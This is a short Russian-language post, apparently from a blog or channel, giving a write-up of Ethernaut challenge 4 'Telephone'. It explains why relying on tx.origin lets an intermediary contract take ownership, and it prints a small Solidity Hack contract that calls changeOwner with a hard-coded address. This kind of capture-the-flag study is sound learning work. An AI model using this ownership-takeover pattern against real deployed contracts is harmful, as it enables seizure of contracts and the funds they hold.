Ethernaut. Задача 4. Telephone
В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу
В чем суть?
tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.
В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.
contract Hack {
function hack (Telephone _tel) external {
_tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
}
}
Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.
tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.
#ethernaut
Post #387
196
- 👍 1